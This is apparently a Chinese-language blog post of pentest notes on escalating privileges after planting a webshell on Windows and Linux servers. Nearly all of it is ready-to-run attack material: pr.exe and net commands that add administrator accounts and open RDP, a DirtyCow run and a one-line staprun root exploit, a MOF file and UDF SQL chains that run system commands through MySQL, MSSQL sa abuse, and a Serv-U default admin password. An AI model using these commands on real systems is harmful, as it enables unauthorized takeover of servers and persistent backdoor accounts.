权限提升

简介

提权目的

有时,通过某些方式(例如上传Webshell)获取执行命令的shell,但是会因为权限限制而无法执行某些命令。此时为了“扩大战果”,需要利用提权,使得原本的低权限(如只允许列目录)提升为高权限(如拥有修改文件的能力)


系统漏洞提权

本地提权

种类

  • 本地服务提权漏洞
    • iis6、iis5(ms09-020)
    • ftp(需要本身的ftp服务权限就很高,ftp,serv-u ftp,g6ftp等)
    • smb(MS17-010) 在msf框架下成功率很好,可以正常放回cmdshell
    • rpc(ms08-067)
  • 系统内核提权漏洞

Windows

收集补丁信息

1
systeminfo  # 可重点查看系统所打补丁

微软安全通报和公告

不能执行命令原因

  1. 权限不够
  2. cmd等(/bin/bash)被禁用

连接webshell,发现命令不能执行,考虑可能禁用了cmd(或c:\windows\system32无权限),上传cmd.exe到web根目录,通过cmd.exe执行命令发现可以执行,考虑添加用户,开启3389,进行远程登录
添加用户时发现权限不够,查看权限发现是network服务内核权限,不是管理员权限,考虑提权,根据系统版本,使用pr.exe提权
执行添加用户,把用户添加到管理员组,开启3389服务
提权成功,登录

使用上传的cmd.exe打开虚拟终端
查看端口:

1
netstat -ano

开启3389端口:

1
2
3
pr.exe "regedit /s 3389.reg"
# 或者:
pr.exe "3389.bat"

添加用户并加入administrators组

1
2
pr.exe "user test test /add"
pr.exe "net localgroup administrators test /add"

或者修改管理员密码

1
pr.exe "net user administrator test"

cmd命令

1
2
net user /?
net group /?


Linux

判断系统版本

1
2
3
4
uname -a  # 查看操作系统内核信息
cat /proc/version # 查看当前操作系统版本信息
cat /etc/issur # 查看你版本当前操作系统发行版信息
cat /etc/redhat-release

判断出内核版本之后,就去找exp(通常是脏牛),然后上传并编译执行
上传编译

1
2
gcc exp.c -o exp  # 或者有需要加编译选项:例如脏牛漏洞的
gcc -pthread dirty.c -o dirty -lcrypt

tip
适用于linux系统、安卓系统、大多数嵌入式系统
DirtyCow(脏牛,条件竞争漏洞)
Cow(Copy On Write)

脏牛漏洞eg:
dirtyc0w.c

1
2
3
4
5
6
echo this is a test > foo
chmod 404 foo
cat foo
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000
cat foo


一句话提权

受影响版本:RedHat Centos debian linux<2.6.18-194
须在bash环境执行

1
printf "install uprobes /bin/sh" > exploit.conf;MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever


数据库提权

###
原理:

  1. 具有mysql的root权限,且mysql以system权限运行
  2. 具有执行sql语句的权限,webshell或者外连均可

MOF提权

提权原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做“托管对象格式”,其作用是每隔五秒就回去监控进程创建和死亡。其利用了mysql的root权限以后,然后使用root权限去执行上传的mof。隔了一定时间后,这个mof就会被执行,此mof当中有一段是vbs脚本,大多数时候是cmd的添加管理员用户的命令
mof文件通过Mofcomp.exe编译执行


代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And Target Instance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $EventFilter;
}

利用方法

下列方法仅适用于windows系统

  1. 首先找个可写的目录,将MOF文件上传上去
  2. 执行以下sql语句,mof文件内的命令便会执行
    1
    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/webem/mof/nullevt.mof'

开机启动项提权

思路:

利用mysql,将后门写入开机自启动项。同时因为开机自启动,在写入之后,需要重启目标服务器(此操作至少是管理员权限)

利用方法

自启路径:

1
2
3
4
5
# 在此目录下写一个批处理文件(.bat)
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# 或者windows2003及xp路径
C:\Documents and Settings\Administrator\[开始]菜单\程序\启动\

写入文件eg:
hack.bat

1
2
net user test test /add
net localgroup Administrators test /add


UDF提权

UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口,是拓展其的技术手段

原理

  • UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
  • 若要利用UDF,需要上传udf.dll作为UDF的执行库
  • mysql中支持UDF扩展,使得可以调用DLL里面的函数来实现一些特殊的功能

流程概述

  • 得到插件库路径
  • 找对应操作系统的udf库文件
  • 利用udf库文件加载函数并执行命令

注意事项

判断mysql版本
version < 5.1,UDF导出到系统目录:
C:/windows/system32/udf.dll
version >= 5.1,UDF导出到:
安装路径MySQL/Lib/Plugin/udf.dll

可以在mysql里输入:

1
2
3
# 查找mysql安装路径
select @@basedir
show variables like '%plugins%'

该目录默认不存在,需要使用Webshell找到mysql安装目录,并在安装目录下创建\lib\plugin文件夹,然后将udf.dll文件导出到该目录


利用流程

  • 导出DLL

    1
    2
    3
    4
    5
    create table a (cmd LONGBLOB);
    insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll')));
    select unhex(cmd) from a into DUMPFILE 'c:\\windows\\system32\\udf.dll';
    create function sys_eval returns string soname 'udf.dll';
    select sys_eval('ipconfig');
  • 创建用户自定义函数

    1
    2
    3
    4
    5
    create function cmdshell returns string soname 'udf.dll';
    select cmdshell('net user waitalone waitalone.cn /add');
    select cmdshell('net localgroup administrators waitalone /add');
    drop function cmdshell;
    delect from mysql.func where name='cmdshell';
  • 利用

    1
    select cmdshell('cmd','ipconfig');

直接外连提权

MySQL开启对外连接,任意外网用户能够直接登陆,通过执行mysql语句进行提权
其原理就是udf提权,适用于windows和linux


MSSQL提权

利用sa用户

利用前提

所谓利用数据进行提权,即利用数据库的运行权限,因此需要满足以下条件:

  1. 必须获得sa的账号密码或者sa相同权限的账号密码,且mssql没有被降权
  2. 必须可以以某种方式执行sql语句,如:webshell或者1433端口的连接

PS:能够通过配置文件找到系统的登录账户密码


提权思路

  1. MSSQL在Windows Server类操作系统上,默认具有system权限。system权限在windows server 2003中权限仅比管理员小,而在2003以上版本,则为最高权限
  2. 获取webshell之后可尝试在服务器各个站点目录寻找sa的密码(某些站点可直接在web应用程序中使用sa连接数据库),一般情况下,net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中
  3. 通过端口扫描查看1433(mssql默认端口)是否对外开放。若对外开放则使用sql连接器进行提权;若没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库
  4. sa作为mssql默认最高权限的账户,在正常情况下,可通过xp cmdshell等方式执行系统命令

利用服务器的第三方组件提权

Pcanywhere

赛门铁克公司出品的一款可远程连接到服务器的远程桌面工具

原理

pcanywhere与windows自带的mstsc(远程桌面)不同之处在于,pcanywhere不适用windows操作系统的用户密码进行盐哼,而是使用自身建立的用户密码进行验证
如此,只要获得pcanywhere的登陆密码,即可获取服务器的远程桌面

密码文件存储位置:

1
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\pcanywherepwd


Serv-U

Serv-U是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令
Serv-u > 3.x版本默认配置:
本地管理端口:43958
管理员:LocalAdministrator
密码:#|@$ak#.|k;0@P;
这是集成在Serv-u内部的,可以以Guest权限来进行连接,对其进行管理

通过连接Serv-U然后执行操作系统命令的方式来添加具有管理权限的账户
现在的Webshell很多都会自带Serv-U提权功能,只需输入要执行的命令即可


补充

总结一些经验

拿到webshell

  • win
    whoami判断权限,直接system就不用提权,jsp站直接system权限
    systeminfo查看补丁信息和操作系统版本
    上传exp,找可写目录
    执行,若无法通过系统漏洞或系统服务漏洞提权,下一步翻目录
    重点关注,config配置文件,比如数据库连接文件,pcanywhere的密码文件等等一些第三方软件的敏感文件
    PS:一个服务器有aspxphpjsp,拿下来一个aspx的低权限shell,翻目录发现jsp网站的目录,向jsp目录传一个webshell,然后访问jspshell,可能会有最高去权限

  • linux
    whoami判断权限,如果直接root权限就无需提权,在weglogictomcatjboss等等一些jsp中间件出现比较多
    查找系统版本uname -acat /proc/version 等等
    接着去 www.exploit-db.com 查找对应内核版本的exp,上传
    上传之后gcc exp.c -o exp若有需要需加编译参数,根据exp的注释说明来写。若服务器没有gcc,则在本地搭建一个同版本的系统,然后把exp在本地编译之后再上传
    若exp无法提权,翻目录,linux敏感目录和文件有哪些(百度),比如:老版本linux的/etc/passwd存储了密码和账号,数据库配置文件等等

您的支持是我前进的动力!